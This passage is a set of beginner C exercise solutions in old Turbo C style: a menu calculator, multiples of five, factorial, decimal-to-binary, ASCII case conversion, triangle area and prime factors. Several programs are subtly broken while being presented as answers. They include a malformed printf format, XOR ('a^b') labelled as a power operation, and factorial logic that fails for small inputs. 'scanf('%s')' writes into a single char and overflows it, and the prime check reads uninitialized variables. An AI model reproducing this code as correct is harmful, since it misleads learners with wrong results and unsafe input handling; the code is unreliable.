   printf("\n\t Your choice is Subtraction\n\t Your result is: %",d);
   break;
  }
  case 3:
  {
   d=a*b;
   printf("\n\t Your choice is Multiplication\n\t Your result is: %d",d);
   break;
  }
  case 4:
  {
   c=a/b;
   printf("\n\t Your choice is Divition\n\t Your Result is: %.2f",c);
   break;
  }
  case 5:
  {
   d=a%b;
   printf("\n\t Your Choice is Reminder Operation\n\t Your result is: %d",d);
   break;
  }
  case 6:
  {
   c=sqrt(a);
   printf("\n\tYour choice is root of First Number\n\t Your result is: %.2f",c);
   break;
  }
  case 7:
  {
   d=a^b;
   printf("\n\tYour choice is power calculation \n\t Your result is: %d",d);
   break;
  }
  case 8:
  {
   d=a;
   e=-b;
   printf("\n\tYour choice is Memory operation\n\t Your stored positive number is %d and stored negative number is %d",d,e);
   break;
  }
  default:
  {
   printf("\n\t Your choice is not listed");
  }
 }
 getch();
}

Write a C program to "multiply of 5 of a range of number"

//If limit is 2 then output will 5*1=5 \n 5*2=10

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,m;
 clrscr();
 printf("Enter limitation of this calculation: ");
 scanf("%d",&n);
 for(i=0;n>=i;i++)
 {
  m=5*i;
  printf("5*%d=%d\n",i,m);
 }
 getch();
}

Write a C program to find Factorial value without any function

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,r=0,j;
 clrscr();
 printf("Enter Number for calculating factorial: ");
 scanf("%d",&n);
 printf("!%d= ",n);
 r=n*(n-1);
 for(j=n;j!=1;j--)
 {
  printf("%d*",j);
 }
 printf("1= ");
 for(i=n-2;i!=1;i--)
 {
  r=r*i;
 }
 printf("%d",r);
 getch();
}

Write a C Program to convert a Decimal number to Binary Number

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,no[100],i,c,n=0;
 clrscr();
 printf("\nEnter Decimal Number: ");
 scanf("%d",&b);
 if(b>0)
 {
  a=b;
  printf("\nThe binary equivalant of decimal number is: 0");
 }
 else
 {
  a=-b;
  printf("\nThe binary equivalant of decimal number is: 1") ;
 }
 for(i=0;a!=0;++i)
 {
  c=a%2;
  no[i]=c;
  a=a/2;
  ++n;
 }

 for(i=n-1;i>=0;--i)
 {
  printf("%d",no[i]);
 }
 getch();
}

Write a C program to perform of Interchange charecter by ASCII code

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char s;
 int a,n;
 clrscr();
 printf("This a program to convert upper case lower case and find ASCII value and IF You know ASCII Value , it find charecter and change case");
 printf("\n\n\n\tChange ASCII to charecter press 1 \n\tchange charecter to ASCII code press 2\n\tASCII Code to charecter Press 3\n\t know ASCII code to charecter Press 4::\n\t Enter your choice: ");
 scanf("%d",&n);
 switch(n)
 {
  case 1:
  {
   printf("\nEnter ASCII code: ");
   scanf("%d",&a);
   printf("Charecter is %c",a);
   if(a>=65&&a<=90)
   {
    printf("\nYou entered a upper case letter\nYour lower case letter is %c",(a+32));
   }
   if(a>=97&&a<=122)
   {
    printf("\nYou entered a lower case letter\nYour upper case letter is %c",(a-32));
   }
   break;
   case 2:
   {
    printf("\nEnter Charecter: ");
    scanf("%s",&s);
    a=s;
    printf("ASCII Code is %d",a);
    if(a>=65&&a<=90)
    {
     printf("You entered a upper case letter\nYour lower case letter is %c",(s+32));
    }
    if(a>=97&&a<=122)
    {
     printf("\nYou entered a lower case letter\nYour upper case letter is %c",(s-32));
    }
    break;
   }
   case 3:
   {
    printf("\nEnter Charecter: ");
    scanf("%s",&s);
    printf("ASCII Code is %d",s);
    break;
   }
   case 4:
   {
    printf("\nEnter ASCII: ");
    scanf("%d",&a);
    printf("Charecter is %c",a);
    break;
   }
   default:
   {
   printf("\n\tInvalid choice!!!");
   }
  }
 }
 getch();
}

Write a C Program to find Area or Triangle

#include <stdio.h>
#include <conio.h>
#include <math.h>
void main()
{
 int a,b,c,p;
 float s,temp,area;
 clrscr();
 printf("Sides: ");
 scanf("%d %d %d",&a,&b,&c);
 if(a>0&&b>0&&c>0)
 {
  p=(a+b+c);
  s=p/2;
  temp=s*(s-a)*(s-b)*(s-c);
  if(temp>0)
  {
   area=sqrt(temp);
   printf("\nThe Area of Triangular is %.2f",area);
  }
  else
  {
   printf("\nInvalid Value!!");
  }
 }
 else
 {
 printf("\nCheck sides Value!!");
 }
 getch();
 }

Write a C program to find PRIME NUMBER and FACTOR

#include <stdio.h>
#include <conio.h>
void main()
{
 int flag,i,n,r,a[100],b,s;
 clrscr();
 printf("\n Enter Number: ");
 scanf("%d",&n);
 printf(" Facrtors are: 1 %d ",n);
 for(i=2;i<=n/2;i++)
 {
  r=n%i;
  if(r==0)
  {
   flag=s;
   a[b]=i;
   b++;
   printf("%d ",i);
  }
 }
 if(flag==s)
 {
  printf("\n So The Number %d is not prime",n);
 }
 else
 {
  printf("\n So The Number %d is prime",n);
 }
 getch();
}